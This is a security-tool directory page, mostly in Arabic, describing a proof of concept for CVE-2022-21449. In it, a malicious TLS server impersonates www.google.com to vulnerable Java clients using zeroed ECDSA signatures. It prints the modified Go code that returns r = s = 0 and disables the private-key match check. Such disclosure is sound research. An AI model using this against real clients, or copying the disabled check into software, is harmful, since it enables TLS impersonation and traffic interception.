Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-21449-TLS-PoC — CVE-2022-21449 إثبات مفهوم يوضح استخدامه مع عميل يعمل على إصدار Java قابل للاستغلال وخادم TLS خبيث | Kitploit
أدوات/GitHubGitHub/notkmhn/cve-2022-21449-tls-poc
تحليل الثغرات الأمنيةالاستغلالأمن الويبالتشفيراختبار الاختراق
GitHubnotkmhn/cve-2022-21449-tls-poc

CVE-2022-21449-TLS-PoC

CVE-2022-21449 إثبات مفهوم يوضح استخدامه مع عميل يعمل على إصدار Java قابل للاستغلال وخادم TLS خبيث

عرض المستودع
121242منذ 5 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-21449-TLS-PoC

CVE-2022-21449 (المُلقّبة أيضًا بـ Psychic Signatures في الوصف التفصيلي للثغرة بقلم Neil Madden) إثبات مفهوم يوضح استخدامه مع عميل ضعيف وخادم TLS خبيث.

يقدم الخادم الخبيث سلسلة شهادات صالحة (اعتبارًا من 2022-04-20) لموقع www.google.com والتي تحتوي على مفتاح عام ECDSA (secp256r1). ومع ذلك، تم تعديل حزمة crypto/ecdsa لتقديم توقيع غير صالح بقيمة r = s = 0. يقبل العميل الضعيف هذا التوقيع غير الصالح، مما يسمح باستكمال بقية مصافحة TLS.

بصرف النظر عن ملفات *_test.go التي تمت إزالتها أثناء البناء والاستكشاف، كانت هذه التعديلات على مكتبة golang crypto ضرورية للخادم TLS الخبيث. يمكن العثور عليها أيضًا بالبحث/الـ grep عن CVE-2022-21449 في دليل go/src.

البناء

يتطلب وجود تثبيت golang الحالي بالإضافة إلى maven، ثم قم بتشغيل ./build.sh.

تم اختباره على Ubuntu 20.04.4 LTS (WSL2) مع OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20)

العرض التجريبي

https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4

Modifications to the golang crypto library

In crypto/ecdsa/ecdsa.go, the function signGeneric was essentially modified to:

root@kitploit:~
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
        // SEC 1, Version 2.0, Section 4.1.3
        // CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
        r = new(big.Int)
        s = new(big.Int)
        return
}

And in crypto/tls/tls.go, the function X509KeyPair has been changed to disable verification checks that a given private key matches the X.509 certificate's public key for ECDSA public keys:

root@kitploit:~
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
        fail := func(err error) (Certificate, error) { return Certificate{}, err }
        ...
        switch pub := x509Cert.PublicKey.(type) {
        ...
        case *ecdsa.PublicKey:
                // CVE-2022-21449: Modified checks away
                _, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
                if !ok {
                        return fail(errors.New("tls: private key type does not match public key type"))
                }
                /*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
                        return fail(errors.New("tls: private key does not match public key"))
                }*/
         ...
}

الاعتمادات

  • Neil Madden: اكتشاف CVE-2022-21449 والإفصاح عنها، كما هو موضح في كتاباتهم الممتازة.
  • Khaled Nassar: إثبات المفهوم هذا.
تنزيل الأداة